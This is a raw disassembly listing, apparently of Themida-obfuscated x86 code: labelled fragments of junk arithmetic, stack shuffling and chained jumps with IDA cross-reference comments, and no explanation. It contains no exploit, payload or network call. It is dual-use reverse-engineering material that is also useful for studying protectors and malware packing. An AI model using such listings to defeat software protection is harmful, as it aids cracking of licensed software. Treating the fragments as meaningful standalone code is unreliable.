loc_5633A1: ; CODE XREF: Themida_:00565A57j
push edx
mov dl, 0C7h
and dl, 39h
push ebx
mov bl, 9Dh
shl bl, 3
push eax
mov al, 30h
xor bl, al
jmp loc_56EBA9
; ---------------------------------------------------------------------------
loc_5633B7: ; CODE XREF: Themida_:0056561Dj
xor [esp], cx
sub esp, 4
mov [esp], edx
push esp
pop edx
jmp loc_56D1E1
; ---------------------------------------------------------------------------
loc_5633C8: ; CODE XREF: Themida_:0055DFD3j
sub ebp, 273B3065h
shl ebp, 6
jmp loc_56E37B
; ---------------------------------------------------------------------------
loc_5633D6: ; CODE XREF: Themida_:0056A239j
sub ebx, esi
pop esi
add edx, ebx
pop ebx
push 57FFh
mov [esp], ebx
mov ebx, 2
jmp loc_56031F
; ---------------------------------------------------------------------------
loc_5633EE: ; CODE XREF: Themida_:0055F173j
mov ecx, 1
push 20DDh
jmp loc_56A4AF
; ---------------------------------------------------------------------------
loc_5633FD: ; CODE XREF: Themida_:00568F00j
mov ebp, [esp]
add esp, 4
push eax
mov eax, 4
add ebp, eax
mov eax, [esp]
jmp loc_55DE62
; ---------------------------------------------------------------------------
loc_563416: ; CODE XREF: Themida_:0056FE67j
mov eax, [esp]
push ecx
push esp
pop ecx
jmp loc_56D482
; ---------------------------------------------------------------------------
loc_563421: ; CODE XREF: Themida_:0057287Aj
not ebx
add ebx, 42CC13D9h
xor ebx, 6B1C4300h
xor ebx, 17E1B3C4h
push 624Ch
mov [esp], ebx
jmp loc_56CCD7
; ---------------------------------------------------------------------------
loc_563442: ; CODE XREF: Themida_:005674A3j
dec ch
push small 0
sub [esp], ch
jmp loc_560317
; ---------------------------------------------------------------------------
loc_563450: ; CODE XREF: Themida_:0056B72Bj
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
sub esp, 4
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_570BE5
; ---------------------------------------------------------------------------
loc_56347E: ; CODE XREF: Themida_:0055E2C1j
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_564153
; ---------------------------------------------------------------------------
loc_563490: ; CODE XREF: Themida_:0055E9B2j
add esi, ebx
jmp loc_569B2F
; ---------------------------------------------------------------------------
loc_563497: ; CODE XREF: Themida_:00568E67j
mov [esp], ecx
mov ecx, 97705DCh
push edx
jmp loc_56A14D
; ---------------------------------------------------------------------------
loc_5634A5: ; CODE XREF: Themida_:00567D2Bj
add ecx, eax
pop eax
xor edx, ecx
mov ecx, [esp]
add esp, 4
push ebx
mov ebx, 52D0418Eh
sub ebx, 33B444D3h
sub ebx, 9E8188Eh
neg ebx
jmp loc_55F671
; ---------------------------------------------------------------------------
loc_5634C9: ; CODE XREF: Themida_:0055DE36j
push edi
push edx
jmp loc_568ECA
; ---------------------------------------------------------------------------
loc_5634D0: ; CODE XREF: Themida_:00570257j
pop edx
add edx, 4
jmp loc_56BFB8
; ---------------------------------------------------------------------------
loc_5634DC: ; CODE XREF: Themida_:00568291j
push edx
jmp loc_566F07
; ---------------------------------------------------------------------------
loc_5634E2: ; CODE XREF: Themida_:0055DA22j
add esp, 4
jmp loc_566262
; ---------------------------------------------------------------------------
loc_5634EA: ; CODE XREF: Themida_:0056269Dj
add al, ch
jmp loc_55EFC1
; ---------------------------------------------------------------------------
loc_5634F1: ; CODE XREF: Themida_:00568C8Cj
mov ch, 34h
xor bl, ch
pop ecx
jmp loc_56D94E
; ---------------------------------------------------------------------------
loc_5634FB: ; CODE XREF: Themida_:0056B18Fj
inc ecx
sub ecx, 554340A3h
jmp loc_5631F2
; ---------------------------------------------------------------------------
loc_563507: ; CODE XREF: Themida_:00564315j
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_56AEC8
; ---------------------------------------------------------------------------
loc_56351E: ; CODE XREF: Themida_:005611C4j
mov esi, esp
add esi, 4
jmp loc_56D184
; ---------------------------------------------------------------------------
loc_56352B: ; CODE XREF: Themida_:0055DD25j
mov ebx, [esp]
jmp loc_561C08
; ---------------------------------------------------------------------------
loc_563533: ; CODE XREF: Themida_:00563C4Dj
add ch, 1
jmp loc_568D0C
; ---------------------------------------------------------------------------
loc_56353B: ; CODE XREF: Themida_:00571036j
xor ebx, 484E15F6h
xor ebx, 4855AE6h
xor ebx, 29C01355h
add ebx, 8121ACA4h
mov ebp, ebx
jmp loc_5710DC
; ---------------------------------------------------------------------------
loc_56355A: ; CODE XREF: Themida_:0055FC24j
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56355F: ; CODE XREF: Themida_:00568403j
sub ecx, 4D731727h
jmp loc_56B1F4
; ---------------------------------------------------------------------------
loc_56356A: ; CODE XREF: Themida_:0056A455j
push eax
jmp loc_5625A1
; ---------------------------------------------------------------------------
loc_563570: ; CODE XREF: Themida_:0056150Bj
pop ebx
push edi
jmp loc_56EF9F
; ---------------------------------------------------------------------------
loc_563577: ; CODE XREF: Themida_:0056FE46j
push edi
mov edi, esp
push ebp
mov ebp, 66FF4261h
xor ebp, 66FF4265h
jmp loc_56A0AE
; ---------------------------------------------------------------------------
loc_56358B: ; CODE XREF: Themida_:00571475j
pop edx
xor al, 0A3h
mov ch, al
push dword ptr [esp]
jmp loc_56D2A6
; ---------------------------------------------------------------------------
loc_563598: ; CODE XREF: Themida_:00560D0Aj
push eax
push 43606800h
pop eax
push esi
jmp loc_5684F6
; ---------------------------------------------------------------------------
loc_5635A5: ; CODE XREF: Themida_:00564986j
add edx, 0C0314FF5h
jmp loc_55D97C
; ---------------------------------------------------------------------------
loc_5635B0: ; CODE XREF: Themida_:00567CD5j
mov edx, esp
push esi
jmp loc_56BA7B
; ---------------------------------------------------------------------------
loc_5635B8: ; CODE XREF: Themida_:0056F9D4j
sub [esp], ebx
pop ebx
add ebx, 1550248Eh
add edx, ebx
pop ebx
add edx, 4
push edx
push dword ptr [esp+4]
mov edx, [esp]
push edi
mov edi, esp
jmp loc_5651C5
; ---------------------------------------------------------------------------
loc_5635DB: ; CODE XREF: Themida_:00564674j
xor edi, ebp
mov ebp, [esp]
jmp loc_57186F
; ---------------------------------------------------------------------------
lodsb
push ecx
jmp loc_56E2F8
; ---------------------------------------------------------------------------
loc_5635EC: ; CODE XREF: Themida_:0056463Aj
xchg edx, [esp]
pop esp
add esp, 4
sub esp, 4
jmp loc_569B1F
; ---------------------------------------------------------------------------
loc_5635FE: ; CODE XREF: Themida_:0056F5CFj
push eax
mov eax, 3D8F2830h
mov edx, eax
pop eax
jmp loc_5666A6
; ---------------------------------------------------------------------------
loc_56360C: ; CODE XREF: Themida_:00561599j
push dword ptr [esp]
jmp loc_56D2AC
; ---------------------------------------------------------------------------
loc_563614: ; CODE XREF: Themida_:005720E6j
add eax, 68807D99h
or eax, 39C12792h
inc eax
or eax, 5611A9Dh
push ebp
jmp loc_56AC58
; ---------------------------------------------------------------------------
loc_56362A: ; CODE XREF: Themida_:0056F054j
xor ebx, [esp]
xor [esp], ebx
jmp loc_56D01E
; ---------------------------------------------------------------------------
loc_563635: ; CODE XREF: Themida_:005627A6j
xor edx, 41323040h
add edx, 0DE12B406h
add edi, edx
pop edx
sub edi, 4
sub esp, 4
jmp loc_55D69A
; ---------------------------------------------------------------------------
loc_563655: ; CODE XREF: Themida_:0055E3B9j
push ecx
mov ecx, 4C135FAAh
push 13DDh
mov [esp], esi
jmp loc_55EC34
; ---------------------------------------------------------------------------
loc_563668: ; CODE XREF: Themida_:00567D7Fj
sub esp, 4
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
jmp loc_568DBC
; ---------------------------------------------------------------------------
loc_56368A: ; CODE XREF: Themida_:0055DA4Aj
mov ecx, 6C755ED4h
jmp loc_56FC0A
; ---------------------------------------------------------------------------
loc_563694: ; CODE XREF: Themida_:0055FC0Ej
mov ebp, 3E111667h
sub ebp, 53905B08h
shl ebp, 1
or ebp, 35807509h
add ebp, 13A71AEDh
add ebp, 0DA3DC53h
jmp loc_56F7A1
; ---------------------------------------------------------------------------
loc_5636B8: ; CODE XREF: Themida_:00570568j
mov [esp], eax
jmp loc_56442D
; ---------------------------------------------------------------------------
loc_5636C0: ; CODE XREF: Themida_:00571782j
pop ecx
add eax, edx
sub eax, 19D71201h
pop edx
jmp loc_5710BD
; ---------------------------------------------------------------------------
loc_5636CE: ; CODE XREF: Themida_:00565E53j
pop eax
mov cx, [esp]
add esp, 2
sub bl, 72h
sub bl, 6
add bl, al
add bl, 6
add bl, 72h
push cx
jmp loc_55F561
; ---------------------------------------------------------------------------
loc_5636EB: ; CODE XREF: Themida_:0056CD86j
pop eax
not eax
sub eax, 80586369h
push 5FA6h
mov [esp], eax
sub dword ptr [esp], 649C1BE4h
pop edx
add edx, 649C1BE4h
pop eax
shr edx, 7
neg edx
neg edx
jmp loc_569A24
; ---------------------------------------------------------------------------
loc_563716: ; CODE XREF: Themida_:0055F03Aj
mov [esp], eax
mov eax, 76BC4403h
jmp loc_56C7AA
; ---------------------------------------------------------------------------
loc_563723: ; CODE XREF: Themida_:0056B0F5j
xchg edx, [esp]
pop esp
mov [esp], eax
mov eax, 5AAD39D8h
jmp loc_56A9BE
; ---------------------------------------------------------------------------
loc_563734: ; CODE XREF: Themida_:00567404j
mov edi, 66B13C02h
mov esi, edi
jmp loc_56E3C2
; ---------------------------------------------------------------------------
loc_563740: ; CODE XREF: Themida_:0056B3ACj
pop edx
add ebx, 690635EBh
jmp loc_5614DD
; ---------------------------------------------------------------------------
loc_56374C: ; CODE XREF: Themida_:005690B3j
xor edi, [esp]
jmp loc_5702CA
; ---------------------------------------------------------------------------
loc_563754: ; CODE XREF: Themida_:00566FBBj
add eax, 1EB604A0h
sub eax, edx
sub eax, 1EB604A0h
mov edx, [esp]
add esp, 4
pop esi
sub esp, 4
mov [esp], eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
mov cx, [esp]
jmp loc_55F50D
; ---------------------------------------------------------------------------
loc_563781: ; CODE XREF: Themida_:00560376j
add eax, 73140975h
push dword ptr [esp]
pop edi
jmp loc_55F638
; ---------------------------------------------------------------------------
loc_56378F: ; CODE XREF: Themida_:00565A7Dj
pop eax
mov edx, eax
pop eax
sub edi, 6D0E7461h
add edi, edx
add edi, 6D0E7461h
mov edx, [esp]
push eax
push esp
jmp loc_56B8BF
; ---------------------------------------------------------------------------
loc_5637AB: ; CODE XREF: Themida_:0056685Fj
add esp, 4
sub esp, 4
mov [esp], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_5702FB
; ---------------------------------------------------------------------------
loc_5637CA: ; CODE XREF: Themida_:00565A72j
add esp, 4
mov eax, [esp]
jmp loc_5668B9
; ---------------------------------------------------------------------------
loc_5637D5: ; CODE XREF: Themida_:0056BB07j
mov edx, [esp]
add esp, 4
add edx, 4
push eax
push edx
push ebp
push ebx
mov ebx, 2
mov ebp, ebx
pop ebx
mov edx, ebp
pop ebp
mov eax, edx
jmp loc_56FEE5
; ---------------------------------------------------------------------------
loc_5637FA: ; CODE XREF: Themida_:0056CDA4j
pop edx
push eax
mov eax, 3F020D4Ah
neg eax
jmp loc_565C40
; ---------------------------------------------------------------------------
loc_563808: ; CODE XREF: Themida_:005666AEj
pop ecx
push eax
mov eax, esp
add eax, 4
push ecx
mov ecx, 4
add eax, ecx
pop ecx
xchg eax, [esp]
pop esp
xor ecx, 3D8F2830h
jmp loc_56B9CD
; ---------------------------------------------------------------------------
loc_563829: ; CODE XREF: Themida_:0056D041j
and dl, 71h
and dl, 0AEh
sub dl, 1Bh
jmp loc_5655CA
; ---------------------------------------------------------------------------
loc_563837: ; CODE XREF: Themida_:00567D4Ej
sub edx, ecx
pop ecx
add edx, 18D9761Eh
push ebp
mov ebp, edx
mov edi, ebp
pop ebp
mov edx, [esp]
add esp, 4
jmp loc_5697C7
; ---------------------------------------------------------------------------
loc_563851: ; CODE XREF: Themida_:0055E9C4j
add dword ptr [esp], 4
pop ebx
push edi
push edx
mov edx, 4
mov edi, edx
pop edx
add ebx, edi
pop edi
push ebp
push esi
mov esi, 0AD06AA3h
mov ebp, 56A2DB3Ch
add ebp, esi
mov esi, [esp]
jmp loc_566012
; ---------------------------------------------------------------------------
loc_56387C: ; CODE XREF: Themida_:0055F546j
pop ebx
add edx, 454A3396h
push ecx
mov ecx, 521A7D14h
xor ecx, 0D0101C9h
neg ecx
add ecx, 5DE24746h
add ecx, 524D8369h
add edx, ecx
pop ecx
sub edx, eax
sub edx, 51144DD2h
push esi
mov esi, 454A3396h
sub edx, esi
pop esi
push 2C5Ch
mov [esp], eax
push 57CCh
jmp loc_5624ED
; ---------------------------------------------------------------------------
loc_5638C3: ; CODE XREF: Themida_:0055FBD3j
sub esi, edx
mov edx, [esp]
jmp loc_55DCD8
; ---------------------------------------------------------------------------
loc_5638CD: ; CODE XREF: Themida_:00571E21j
pop esi
add edx, 4
jmp loc_569F1E
; ---------------------------------------------------------------------------
loc_5638D9: ; CODE XREF: Themida_:005697B8j
pop edx
push ecx
mov ecx, 11444B99h
inc ecx
xor ecx, 66A82386h
sub ecx, 74B78FECh
sub edx, ecx
pop ecx
jmp loc_56B3AA
; ---------------------------------------------------------------------------
loc_5638F5: ; CODE XREF: Themida_:00566393j
add esi, 5C76DE0Ch
sub eax, esi
pop esi
push 7F2Dh
mov [esp], esi
mov esi, 2B3754C0h
jmp loc_5694C7
; ---------------------------------------------------------------------------
loc_563910: ; CODE XREF: Themida_:0056E07Bj
add ebx, 4
jmp loc_56DD8E
; ---------------------------------------------------------------------------
loc_56391B: ; CODE XREF: Themida_:005654C7j
pop ecx
or ebp, 272568E1h
jmp loc_56018F
; ---------------------------------------------------------------------------
loc_563927: ; CODE XREF: Themida_:00565F5Cj
add esp, 4
pop dword ptr [esp]
jmp loc_5603CD
; ---------------------------------------------------------------------------
loc_563935: ; CODE XREF: Themida_:00570547j
sub eax, 5B3A0602h
pop ebp
pop edi
xchg eax, [esp]
pop esp
mov fs:[edx], ax
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_563949: ; CODE XREF: Themida_:0056C885j
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_56EF62
; ---------------------------------------------------------------------------
loc_563955: ; CODE XREF: Themida_:0056281Fj
mov esi, 28634141h
add esi, 749142F9h
add esi, 740A3D67h
or esi, 50863B43h
add esi, 3EAB75C6h
sub esi, 65FE3B31h
jmp loc_56149A
; ---------------------------------------------------------------------------
loc_56397D: ; CODE XREF: Themida_:0055E05Ej
xor [esp], ecx
jmp loc_5684B8
; ---------------------------------------------------------------------------
loc_563985: ; CODE XREF: Themida_:00563CE2j
mov esi, 4
jmp loc_563FE7
; ---------------------------------------------------------------------------
loc_56398F: ; CODE XREF: Themida_:00560BACj
push dword ptr [esp]
pop ebp
add esp, 4
and ecx, edi
mov edi, [esp]
add esp, 4
shr ecx, 0Ah
push eax
mov eax, esp
add eax, 4
sub eax, 4
jmp loc_564740
; ---------------------------------------------------------------------------
loc_5639B4: ; CODE XREF: Themida_:0056B087j
push ebx
mov ebx, 437F1C50h
jmp loc_572871
; ---------------------------------------------------------------------------
loc_5639BF: ; CODE XREF: Themida_:005665FCj
add esi, 42980646h
shr esi, 4
sub esi, 0C84446DBh
add ecx, esi
pop esi
jmp loc_56C065
; ---------------------------------------------------------------------------
loc_5639D6: ; CODE XREF: Themida_:00567C16j
add eax, ebx
pop ebx
add eax, 4
xchg eax, [esp]
pop esp
push esi
mov esi, 44F36653h
jmp loc_561DE8
; ---------------------------------------------------------------------------
loc_5639ED: ; CODE XREF: Themida_:0055E58Bj
inc dword ptr [esp]
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_5639F6: ; CODE XREF: Themida_:005698B1j
push 1313h
mov [esp], ecx
mov ecx, 2
sub edi, 68697286h
add edi, ecx
push ebp
mov ebp, 2EC7E63h
jmp loc_568A47
; ---------------------------------------------------------------------------
loc_563A16: ; CODE XREF: Themida_:0057016Bj
xor dword ptr [esp], 7FA42124h
pop esi
push 5E69h
mov [esp], edi
mov edi, 4345631Fh
push ebp
mov ebp, 0FFFFFFFFh
add edi, ebp
pop ebp
shr edi, 8
push eax
mov eax, 73F14C8Ah
shl eax, 4
neg eax
or eax, 59BD5E0Bh
add eax, 3117932Fh
jmp loc_565782
; ---------------------------------------------------------------------------
loc_563A51: ; CODE XREF: Themida_:005726E7j
add dword ptr [esp], 4
jmp loc_560870
; ---------------------------------------------------------------------------
loc_563A5A: ; CODE XREF: Themida_:00566FAEj
not esi
and esi, 5CE82B96h
jmp loc_56E54D
; ---------------------------------------------------------------------------
loc_563A67: ; CODE XREF: Themida_:0056B107j
mov ebx, esp
add ebx, 4
push esi
jmp loc_569146
; ---------------------------------------------------------------------------
loc_563A75: ; CODE XREF: Themida_:00560BD1j
shl cl, 7
xchg dl, cl
neg dl
xchg dl, cl
inc cl
add cl, 36h
jmp loc_56CD42
; ---------------------------------------------------------------------------
loc_563A88: ; CODE XREF: Themida_:005702B7j
dec eax
jmp loc_565668
; ---------------------------------------------------------------------------
loc_563A8E: ; CODE XREF: Themida_:0056D46Aj
push ecx
jmp loc_567859
; ---------------------------------------------------------------------------
loc_563A94: ; CODE XREF: Themida_:005722F6j
sub esp, 4
mov [esp], ecx
mov edx, [esp]
add esp, 4
pop ecx
add edx, 246027C7h
add edx, ebx
sub edx, 246027C7h
mov [edx], al
pop edx
jmp loc_55DD22
; ---------------------------------------------------------------------------
loc_563AB7: ; CODE XREF: Themida_:0056A279j
xchg ebp, [esp]
mov esp, [esp]
jmp loc_56536C
; ---------------------------------------------------------------------------
loc_563AC2: ; CODE XREF: Themida_:0056C92Bj
pop edx
xchg ebp, [esp]
pop esp
movzx eax, al
push dword ptr [edi+eax*4]
jmp loc_55D2ED
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], ebx
push esp
pop ebx
push eax
mov eax, 9D16243h
not eax
add eax, 2F155740h
shr eax, 2
push ebp
mov ebp, 669F4A4Ah
sub ebp, 5A537976h
push ecx
mov ecx, 3F8F2562h
jmp loc_55E20E
; ---------------------------------------------------------------------------
loc_563B05: ; CODE XREF: Themida_:005726F0j
mov ebp, 4
add eax, ebp
jmp loc_56BDE0
; ---------------------------------------------------------------------------
loc_563B11: ; CODE XREF: Themida_:00570B45j
push edx
mov edx, 1
sub ebx, 0EBB28DDh
sub ebx, edx
add ebx, 0EBB28DDh
mov edx, [esp]
add esp, 4
push ebp
jmp loc_562D52
; ---------------------------------------------------------------------------
loc_563B34: ; CODE XREF: Themida_:00566FF3j
pop esi
inc ebx
not ebx
or ebx, 344138E7h
jmp loc_571190
; ---------------------------------------------------------------------------
loc_563B43: ; CODE XREF: Themida_:00571671j
not edi
neg edi
jmp loc_564E08
; ---------------------------------------------------------------------------
loc_563B4C: ; CODE XREF: Themida_:0055D7A7j
mov [esp], edi
jmp loc_561B61
; ---------------------------------------------------------------------------
loc_563B54: ; CODE XREF: Themida_:0056F481j
add edx, ecx
pop ecx
jmp loc_564717
; ---------------------------------------------------------------------------
loc_563B5C: ; CODE XREF: Themida_:0056908Aj
mov [esp], edx
push 4F5h
mov [esp], edi
jmp loc_569FAE
; ---------------------------------------------------------------------------
loc_563B6C: ; CODE XREF: Themida_:00560A66j
add ebp, eax
pop eax
add edi, 67D00A6Fh
add edi, 767379FDh
push ebp
mov ebp, 74BB6FC9h
add edi, ebp
pop ebp
add edi, 6CCD67D7h
add edi, ebp
sub edi, 6CCD67D7h
push ebp
jmp loc_564687
; ---------------------------------------------------------------------------
loc_563B98: ; CODE XREF: Themida_:0055F026j
mov [esp], eax
push edi
mov edi, 24h
mov eax, edi
mov edi, [esp]
add esp, 4
jmp loc_55DF8A
; ---------------------------------------------------------------------------
loc_563BB1: ; CODE XREF: Themida_:0055DA2Fj
pop edx
shl ebx, 4
inc ebx
push edi
mov edi, 31EE2A5Ch
and ebx, edi
pop edi
jmp loc_564260
; ---------------------------------------------------------------------------
loc_563BC4: ; CODE XREF: Themida_:00564C04j
xor [esp], esi
xor esi, [esp]
jmp loc_569150
; ---------------------------------------------------------------------------
loc_563BCF: ; CODE XREF: Themida_:005627DFj
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ecx
mov ch, 6Bh
sub ch, 54h
sub ch, 0F0h
shr ch, 4
push edx
jmp loc_57110D
; ---------------------------------------------------------------------------
loc_563BF3: ; CODE XREF: Themida_:00571EBDj
add esp, 4
and ecx, edi
mov edi, [esp]
push ebx
push esp
pop ebx
push ecx
mov ecx, 13418B1h
neg ecx
xor ecx, 0FECBE74Bh
add ebx, ecx
pop ecx
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
shr ecx, 2
jmp loc_56D6CE
; ---------------------------------------------------------------------------
loc_563C23: ; CODE XREF: Themida_:00561548j
push ebx
jmp loc_56A39B
; ---------------------------------------------------------------------------
loc_563C29: ; CODE XREF: Themida_:00561B3Dj
pop edx
neg ah
sub ah, 95h
add dh, ah
pop eax
jmp loc_5623EC
; ---------------------------------------------------------------------------
loc_563C37: ; CODE XREF: Themida_:005650F2j
add esp, 4
pop ecx
loc_563C3B: ; CODE XREF: Themida_:0055D33Aj
push ebx
jmp loc_562B67
; ---------------------------------------------------------------------------
loc_563C41: ; CODE XREF: Themida_:00568BB1j
push edx
mov dh, 0E7h
mov ch, dh
pop edx
jmp loc_565DA1
; ---------------------------------------------------------------------------
loc_563C4C: ; CODE XREF: Themida_:0055E37Aj
pop ebx
jmp loc_563533
; ---------------------------------------------------------------------------
loc_563C52: ; CODE XREF: Themida_:00562E7Ej
push 2879h
mov [esp], edi
push edx
jmp loc_55DD60
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr dword ptr [esp], cl
pushf
jmp loc_564302
; ---------------------------------------------------------------------------
loc_563C6F: ; CODE XREF: Themida_:005691C2j
sub ebp, 28A314B7h
jmp loc_56D1BE
; ---------------------------------------------------------------------------
mov ax, [esp]
push 777Dh
mov [esp], eax
jmp loc_564353
; ---------------------------------------------------------------------------
loc_563C8B: ; CODE XREF: Themida_:0056FE7Aj
push edi
jmp loc_570A67
; ---------------------------------------------------------------------------
loc_563C91: ; CODE XREF: Themida_:00564FACj
pop eax
add esp, 4
push 20AAh
mov [esp], ecx
jmp loc_56BBE8
; ---------------------------------------------------------------------------
loc_563CA5: ; CODE XREF: Themida_:005688D7j
push ebx
push ebx
mov ebx, 0FFFFFFFFh
sub [esp+4], ebx
pop ebx
jmp loc_56AFCD
; ---------------------------------------------------------------------------
loc_563CB6: ; CODE XREF: Themida_:0056409Dj
xor ebp, 545CEE6Eh
jmp loc_56C9E9
; ---------------------------------------------------------------------------
loc_563CC1: ; CODE XREF: Themida_:0056BA3Ej
push dword ptr [esp]
mov ebp, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push edi
mov edi, esp
push 53A1h
mov [esp], esi
jmp loc_563985
; ---------------------------------------------------------------------------
loc_563CE7: ; CODE XREF: Themida_:0056A4E7j
pop ebx
xchg ecx, [esp]
pop esp
mov [esp], esp
push esi
mov esi, 56407C29h
add esi, 6E7F5755h
xor esi, 0C3C9F9EBh
push ebp
mov ebp, 278D5DD4h
or esi, ebp
pop ebp
or esi, 13EE49FDh
shl esi, 2
add esi, 40BA0BA6h
add esi, 1
xor esi, 20B80B9Fh
add dword ptr [esp+4], 70112DCAh
add [esp+4], esi
sub dword ptr [esp+4], 70112DCAh
pop esi
pop ecx
add ecx, 4
jmp loc_56601D
; ---------------------------------------------------------------------------
loc_563D46: ; CODE XREF: Themida_:0056DB10j
add edx, 65A13E35h
add edx, ecx
sub edx, 65A13E35h
mov ecx, [esp]
add esp, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
sar word ptr [esp], cl
pushf
jmp loc_56792B
; ---------------------------------------------------------------------------
loc_563D6E: ; CODE XREF: Themida_:005665EFj
push dword ptr [eax]
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_563D75: ; CODE XREF: Themida_:005721FFj
mov edi, esp
add edi, 4
jmp loc_569DAF
; ---------------------------------------------------------------------------
loc_563D82: ; CODE XREF: Themida_:00570E88j
push 43E1h
mov [esp], ebx
mov bh, 0A9h
not bh
sub bh, 0B0h
shr bh, 3
dec bh
jmp loc_56ABBA
; ---------------------------------------------------------------------------
loc_563D9B: ; CODE XREF: Themida_:005719C2j
mov [esp], edx
push eax
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_563DA5: ; CODE XREF: Themida_:0056F01Aj
xor ebx, ebp
pop ebp
push edi
push eax
push edi
mov edi, 661E4DE1h
mov eax, edi
pop edi
push ecx
mov ecx, 0FBE9C2FFh
mov edi, ecx
pop ecx
add edi, eax
jmp loc_565B86
; ---------------------------------------------------------------------------
loc_563DC3: ; CODE XREF: Themida_:00566B73j
mov eax, [esp]
add esp, 4
jmp loc_572708
; ---------------------------------------------------------------------------
loc_563DD1: ; CODE XREF: Themida_:0056C5B7j
add ebp, 92650147h
add eax, ebp
pop ebp
add eax, 0C6C9C738h
jmp loc_56E84D
; ---------------------------------------------------------------------------
loc_563DE4: ; CODE XREF: Themida_:00570BFAj
add esp, 4
jmp loc_567D5C
; ---------------------------------------------------------------------------
loc_563DEC: ; CODE XREF: Themida_:00570422j
mov eax, ebp
pop ebp
mov edx, 539721EFh
inc edx
add edx, 0F6873CF7h
xor edx, eax
mov eax, [esp]
jmp loc_56B909
; ---------------------------------------------------------------------------
loc_563E05: ; CODE XREF: Themida_:00565B1Ej
bts [esp], ax
pushf
jmp loc_5714A7
; ---------------------------------------------------------------------------
loc_563E10: ; CODE XREF: Themida_:0056081Aj
and ebp, 1D4B0FA9h
shr ebp, 8
add ebp, 0FFF7F7FBh
mov esi, ebp
pop ebp
mov eax, esi
pop esi
jmp loc_5694F3
; ---------------------------------------------------------------------------
loc_563E2A: ; CODE XREF: Themida_:00564CF4j
not di
xor bp, di
xor di, bp
xor bp, di
xor cx, bp
xor bp, cx
jmp loc_561F55
; ---------------------------------------------------------------------------
movzx ax, byte ptr [edx]
jmp loc_55F47A
; ---------------------------------------------------------------------------
loc_563E4A: ; CODE XREF: Themida_:0055E1F8j
pop eax
pop eax
sub eax, 0D040F6Bh
jmp loc_561CC6
; ---------------------------------------------------------------------------
loc_563E56: ; CODE XREF: Themida_:00566A16j
pop ecx
add esp, 4
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_563E62: ; CODE XREF: Themida_:0056CA37j
mov esi, 60D5858h
and edx, esi
mov esi, [esp]
add esp, 4
and edx, 18066FDCh
push ebx
push esi
mov esi, 136E5BBFh
jmp loc_561661
; ---------------------------------------------------------------------------
loc_563E84: ; CODE XREF: Themida_:005646C5j
mov eax, esp
jmp loc_57149B
; ---------------------------------------------------------------------------
loc_563E8B: ; CODE XREF: Themida_:0055E456j
mov esi, 1FEC42DCh
dec esi
not esi
shl esi, 6
jmp loc_56CF39
; ---------------------------------------------------------------------------
loc_563E9B: ; CODE XREF: Themida_:0056CF3Dj
mov edi, 621AE00Ch
jmp loc_567896
; ---------------------------------------------------------------------------
loc_563EA5: ; CODE XREF: Themida_:0056F864j
sub esp, 4
jmp loc_56D3C4
; ---------------------------------------------------------------------------
loc_563EB0: ; CODE XREF: Themida_:0056DA9Aj
mov [esp], eax
push esp
pop eax
sub esp, 4
jmp loc_5623CD
; ---------------------------------------------------------------------------
loc_563EBD: ; CODE XREF: Themida_:0056A610j
push 4
pop esi
sub eax, esi
mov esi, [esp]
push edi
jmp loc_56E15F
; ---------------------------------------------------------------------------
loc_563ECE: ; CODE XREF: Themida_:0056B0CBj
add ax, si
sub esp, 4
mov [esp], edi
mov di, 2834h
sub di, 0E872h
jmp loc_55F23A
; ---------------------------------------------------------------------------
loc_563EE8: ; CODE XREF: Themida_:0056C2DBj
mov esp, [esp]
mov [esp], edx
mov dl, 94h
sub dl, 0B4h
sub esp, 2
mov [esp], cx
jmp loc_56D488
; ---------------------------------------------------------------------------
loc_563F02: ; CODE XREF: Themida_:0056F9DCj
add esp, 4
push 576Fh
mov [esp], edx
push 6F34h
jmp loc_56072A
; ---------------------------------------------------------------------------
loc_563F17: ; CODE XREF: Themida_:0056E6A5j
add ebp, ebx
sub ebp, 3D7D5F2Bh
mov ebx, [esp]
push ebp
mov ebp, esp
push ecx
mov ecx, 0D5945D6h
not ecx
and ecx, 7C7C780Eh
add ecx, 5F496DE9h
push edi
mov edi, 5027289Ah
jmp loc_55D86F
; ---------------------------------------------------------------------------
loc_563F44: ; CODE XREF: Themida_:0056278Fj
add edi, 0F2EF8647h
mov ecx, edi
pop edi
sub ecx, 21AB0C98h
and ecx, 39496AFBh
shl ecx, 6
and ecx, 26EA18B6h
xor ecx, 7E941CCDh
add ebp, ecx
pop ecx
mov edi, [esp]
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_569D3D
; ---------------------------------------------------------------------------
loc_563F86: ; CODE XREF: Themida_:005725E3j
sub edi, ebp
jmp loc_564925
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop ecx
jmp loc_55F3FD
; ---------------------------------------------------------------------------
loc_563F99: ; CODE XREF: Themida_:0055EF36j
push edx
pop ecx
pop edx
sub eax, ecx
pop ecx
jmp loc_567BDD
; ---------------------------------------------------------------------------
loc_563FA4: ; CODE XREF: Themida_:0056FECEj
jmp loc_55D2ED
; ---------------------------------------------------------------------------
